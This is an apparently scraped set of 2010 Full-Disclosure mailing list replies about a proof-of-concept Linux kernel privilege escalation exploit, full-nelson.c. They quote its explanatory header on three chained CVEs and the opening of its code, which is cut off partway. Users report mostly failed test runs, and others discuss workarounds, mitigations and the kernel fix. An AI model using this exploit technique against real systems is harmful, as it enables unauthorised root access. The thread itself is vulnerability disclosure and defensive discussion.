Re: [Full-disclosure] Linux kernel exploit
On Wed, Dec 08, 2010 at 12:44:09AM +0300, Kai wrote: > > > Anyone tested this in sandbox yet? > > 00:37 linups:../expl/kernel > cat /etc/*release* > openSUSE 11.3 (i586) > VERSION = 11.3 > 00:37 linups:../expl/kernel > uname -r > 2.6.34.4-0.1-desktop > 00:37 linups:../expl/kernel > gcc _2.6.37.local.c -o test > 00:37 linups:../expl/kernel > ./test > [*] Failed to open file descriptors. openSUSE 11.2 and 11.3 do not have ECONET compiled, openSUSE 11.1 has ECONET, but not the 0 ptr deref issue. The CVE-2010-4258 problem is however in all openSUSEs. Temporary workaround (for all distributions, not just openSUSE): echo 1 > /proc/sys/kernel/panic_on_oops This will now panic the machine instead of making it exploitable. Ciao, Marcus
Re: [Full-disclosure] Linux kernel exploit
Anyone tested this in sandbox yet?
On 07/12/2010 20:25, Dan Rosenberg wrote:
Hi all,
I've included here a proof-of-concept local privilege escalation exploit
for Linux. Please read the header for an explanation of what's going
on. Without further ado, I present full-nelson.c:
Happy hacking,
Dan
--snip--
/*
* Linux Kernel<= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -
* This is the interesting one, and the reason I wrote this exploit. If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok(). However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
* fairly benign as a local denial-of-service. It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
*Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy,
sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname,
"_S."))
continue;
p = strrchr(sname, '_');
if (p> ((char *)sname + 5)&& !strncmp(p - 3,
"smp", 3)) {
p = p - 4;
while (p> (char *)sname&& *(p - 1) ==
'_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ?
" (via System.map)" : "
Re: [Full-disclosure] Linux kernel exploit
Yep, just tested it in an Ubuntu 10.10 sandbox I have (running kernel
2.6.35-22-generic). Works as expected.
Great job Dan. You're full of win!
Regards,
Ryan Sears
- Original Message -
From: "Cal Leeming [Simplicity Media Ltd]"
To: "Dan Rosenberg"
Cc: full-disclos...@lists.grok.org.uk, bugtraq@securityfocus.com
Sent: Tuesday, December 7, 2010 4:06:44 PM GMT -05:00 US/Canada Eastern
Subject: Re: [Full-disclosure] Linux kernel exploit
Anyone tested this in sandbox yet?
On 07/12/2010 20:25, Dan Rosenberg wrote:
> Hi all,
>
> I've included here a proof-of-concept local privilege escalation exploit
> for Linux. Please read the header for an explanation of what's going
> on. Without further ado, I present full-nelson.c:
>
> Happy hacking,
> Dan
>
>
> --snip--
>
> /*
> * Linux Kernel<= 2.6.37 local privilege escalation
> * by Dan Rosenberg
> * @djrbliss on twitter
> *
> * Usage:
> * gcc full-nelson.c -o full-nelson
> * ./full-nelson
> *
> * This exploit leverages three vulnerabilities to get root, all of which
> were
> * discovered by Nelson Elhage:
> *
> * CVE-2010-4258
> * -
> * This is the interesting one, and the reason I wrote this exploit. If a
> * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
> * word will be written to a user-specified pointer when that thread exits.
> * This write is done using put_user(), which ensures the provided
> destination
> * resides in valid userspace by invoking access_ok(). However, Nelson
> * discovered that when the kernel performs an address limit override via
> * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
> * etc.), this override is not reverted before calling put_user() in the exit
> * path, allowing a user to write a NULL word to an arbitrary kernel address.
> * Note that this issue requires an additional vulnerability to trigger.
> *
> * CVE-2010-3849
> * -
> * This is a NULL pointer dereference in the Econet protocol. By itself,
> it's
> * fairly benign as a local denial-of-service. It's a perfect candidate to
> * trigger the above issue, since it's reachable via sock_no_sendpage(),
> which
> * subsequently calls sendmsg under KERNEL_DS.
> *
> * CVE-2010-3850
> * -
> * I wouldn't be able to reach the NULL pointer dereference and trigger the
> * OOPS if users weren't able to assign Econet addresses to arbitrary
> * interfaces due to a missing capabilities check.
> *
> * In the interest of public safety, this exploit was specifically designed
> to
> * be limited:
> *
> * * The particular symbols I resolve are not exported on Slackware or
> Debian
> * * Red Hat does not support Econet by default
> * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
> *Debian
> *
> * However, the important issue, CVE-2010-4258, affects everyone, and it
> would
> * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
> * more sophisticated version of this that doesn't have the roadblocks I put
> in
> * to prevent abuse by script kiddies.
> *
> * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
> *
> * NOTE: the exploit process will deadlock and stay in a zombie state after
> you
> * exit your root shell because the Econet thread OOPSes while holding the
> * Econet mutex. It wouldn't be too hard to fix this up, but I didn't
> bother.
> *
> * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
> */
>
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
> #include
>
> /* How many bytes should we clear in our
> * function pointer to put it into userspace? */
> #ifdef __x86_64__
> #define SHIFT 24
> #define OFFSET 3
> #else
> #define SHIFT 8
> #define OFFSET 1
> #endif
>
> /* thanks spender... */
> unsigned long get_kernel_sym(char *name)
> {
> FILE *f;
> unsigned long addr;
> char dummy;
> char sname[512];
> struct utsname ver;
> int ret;
> int rep = 0;
> int oldstyle = 0;
>
> f = fopen("/proc/kallsyms", "r");
> if (f == NULL) {
> f = fopen("/proc/ksyms", "r");
> if (f == NULL)
> goto fallback;
> oldstyle = 1;
> }
>
> repeat:
> ret = 0;
>
Re: [Full-disclosure] Linux kernel exploit
> Anyone tested this in sandbox yet? 00:37 linups:../expl/kernel > cat /etc/*release* openSUSE 11.3 (i586) VERSION = 11.3 00:37 linups:../expl/kernel > uname -r 2.6.34.4-0.1-desktop 00:37 linups:../expl/kernel > gcc _2.6.37.local.c -o test 00:37 linups:../expl/kernel > ./test [*] Failed to open file descriptors.
RE: [Full-disclosure] Linux kernel exploit
> I've included here a proof-of-concept local privilege escalation exploit > for Linux. Please read the header for an explanation of what's going > on. Without further ado, I present full-nelson.c: Hello Dan, is this exploitation not mitigated by best practice defense-in-depth strategies such as preventing the CAP_SYS_MODULE capability or '/sbin/sysctl -w kernel.modules_disabled=1' respectively? It seems it'd certainly stop the Econet/Acorn issue. Curious to hear your input as I fear too many rely solely on errata updates and not a good defense-in-depth approach. > Happy hacking, > Dan Cheers, John Jacobs
Re: [Full-disclosure] Linux kernel exploit
Debian lenny: nik...@sandbox:~$ uname -a Linux sandbox 2.6.26-2-amd64 #1 SMP Thu Sep 16 15:56:38 UTC 2010 x86_64 GNU/Linux nik...@sandbox:~$ make full-nelson cc full-nelson.c -o full-nelson nik...@sandbox:~$ ./full-nelson [*] Resolving kernel addresses... [+] Resolved econet_ioctl to 0xa01d319b [+] Resolved econet_ops to 0xa01d41e0 [*] Failed to resolve kernel symbols. On Wed, 2010-12-08 at 00:44 +0300, Kai wrote: > > Anyone tested this in sandbox yet? > > 00:37 linups:../expl/kernel > cat /etc/*release* > openSUSE 11.3 (i586) > VERSION = 11.3 > 00:37 linups:../expl/kernel > uname -r > 2.6.34.4-0.1-desktop > 00:37 linups:../expl/kernel > gcc _2.6.37.local.c -o test > 00:37 linups:../expl/kernel > ./test > [*] Failed to open file descriptors. >
Re: [Full-disclosure] Linux kernel exploit
$ ./nelson [*] Failed to open file descriptors. $ uname -r 2.6.35.6-48.fc14.x86_64 $ cat /etc/redhat-release Fedora release 14 (Laughlin) But I updated a couple of days ago. -- Best regards, Vadim
Re: [Full-disclosure] Linux kernel exploit
On Wed Dec 08, 2010 at 11:58:58, John Jacobs wrote: > > > I've included here a proof-of-concept local privilege escalation exploit > > for Linux. Please read the header for an explanation of what's going > > on. Without further ado, I present full-nelson.c: > > Hello Dan, is this exploitation not mitigated by best practice > defense-in-depth strategies such as preventing the CAP_SYS_MODULE > capability or '/sbin/sysctl -w kernel.modules_disabled=1' respectively? > It seems it'd certainly stop the Econet/Acorn issue. > > Curious to hear your input as I fear too many rely solely on errata updates > and not a good defense-in-depth approach. Only for this proof-of-concept exploit. The real culprit is CVE-2010-4258. Commit 33dd94ae1ccbfb7bf0fb6c692bc3d1c4269e6177 in Linus kernel tree fixes the issue by doing set_fs(USER_DS) early in do_exit(). I guess this will be in pushed to stable series as well.
Re: [Full-disclosure] Linux kernel exploit
Please don't inundate me with e-mail because none of you bothered to read the exploit header. The exploit so far has a 100% success rate on the systems it was designed to work on. I don't think this is rocket science. If your distribution does not compile Econet, then the exploit obviously won't be able to open an Econet socket. This includes Arch Linux, Gentoo, Fedora, Red Hat, CentOS, Slackware, and more. This doesn't mean you're not vulnerable, it just means this particular exploit won't work. If your distro doesn't export the relevant symbols (Debian), ditto above. If your distro has patched the Econet vulnerabilities I used to trigger this (Ubuntu), ditto above. This was done on purpose, to avoid giving a weaponized exploit to people who shouldn't have one. -Dan Sent from my Verizon Wireless BlackBerry -Original Message- From: "Cal Leeming [Simplicity Media Ltd]" Sender: full-disclosure-boun...@lists.grok.org.uk Date: Mon, 13 Dec 2010 20:40:45 To: Ariel Biener Cc: ; ; ; Subject: Re: [Full-disclosure] Linux kernel exploit ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Linux kernel exploit
Hey Dan,
Freaking THANK YOU first and foremost. I've been waiting for someone to say
that for days now, and was just about to myself.
Just because everyone and their brother want's to show off that they can
compile & run some software (herp a derp, good job) DOESN'T mean they should
immediately post it here. I tested it against an OLDER KERNEL on purpose
because I actually read the headers and the exploit worked as expected. I knew
that this was responsibly disclosed, so it was already patched on any system
that I updated. If you don't have the proper symbols, then the exploit doesn't
have the proper offsets, and the exploit will fail. Plain and simple. *THEN*
there's people who don't even bother to read that "Red Hat does not support
Econet by default". DOES NOT. As in the exploit WON'T WORK!
It's pathetic that the original exploit dev has to waste his time saying the
same thing 5 times.
Ryan Sears
- Original Message -
From: "dan j rosenberg"
To: "Cal Leeming [Simplicity Media Ltd]"
,
full-disclosure-boun...@lists.grok.org.uk, "Ariel Biener"
Cc: "leandro lista" , fireb...@backtrack.com.br,
bugtraq@securityfocus.com, full-disclos...@lists.grok.org.uk
Sent: Monday, December 13, 2010 4:08:05 PM GMT -05:00 US/Canada Eastern
Subject: Re: [Full-disclosure] Linux kernel exploit
Please don't inundate me with e-mail because none of you bothered to read the
exploit header.
The exploit so far has a 100% success rate on the systems it was designed to
work on.
I don't think this is rocket science. If your distribution does not compile
Econet, then the exploit obviously won't be able to open an Econet socket.
This includes Arch Linux, Gentoo, Fedora, Red Hat, CentOS, Slackware, and more.
This doesn't mean you're not vulnerable, it just means this particular exploit
won't work.
If your distro doesn't export the relevant symbols (Debian), ditto above.
If your distro has patched the Econet vulnerabilities I used to trigger this
(Ubuntu), ditto above.
This was done on purpose, to avoid giving a weaponized exploit to people who
shouldn't have one.
-Dan
Sent from my Verizon Wireless BlackBerry
-Original Message-
From: "Cal Leeming [Simplicity Media Ltd]"
Sender: full-disclosure-boun...@lists.grok.org.uk
Date: Mon, 13 Dec 2010 20:40:45
To: Ariel Biener
Cc: ; ;
;
Subject: Re: [Full-disclosure] Linux kernel exploit
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Linux kernel exploit
But he said that RedHat (and thus CentOS) doesn't have Econet enabled by default. --Ariel fireb...@backtrack.com.br wrote: > I tested it on a VM with CentOS 5.5 i386 updated and did not work. > > Last login: Tue Dec 13 12:48:54 2010 > [r...@localhost~]#nano full-nelson.c > [r...@localhost~]#gcc-o full-nelson.c full-nelson > [r...@localhost~]#./full-nelson > [*] Failed to open file descriptors. > [r...@localhost~]# uname-a > Linux localhost.localdomain 2.6.18-194.26.1.el5 # 1 SMP Thu Nov 9 12:54:40 > EST 2010 i686 i686 i386 GNU/Linux > [r...@localhost~]# > > My 10 cents:) > > @firebitsbr > > -- -- Ariel Biener e-mail: ar...@post.tau.ac.il PGP: http://www.tau.ac.il/~ariel/pgp.html
Re: Re: [Full-disclosure] Linux kernel exploit
I tested it on a VM with CentOS 5.5 i386 updated and did not work. Last login: Tue Dec 13 12:48:54 2010 [r...@localhost~]#nano full-nelson.c [r...@localhost~]#gcc-o full-nelson.c full-nelson [r...@localhost~]#./full-nelson [*] Failed to open file descriptors. [r...@localhost~]# uname-a Linux localhost.localdomain 2.6.18-194.26.1.el5 # 1 SMP Thu Nov 9 12:54:40 EST 2010 i686 i686 i386 GNU/Linux [r...@localhost~]# My 10 cents:) @firebitsbr
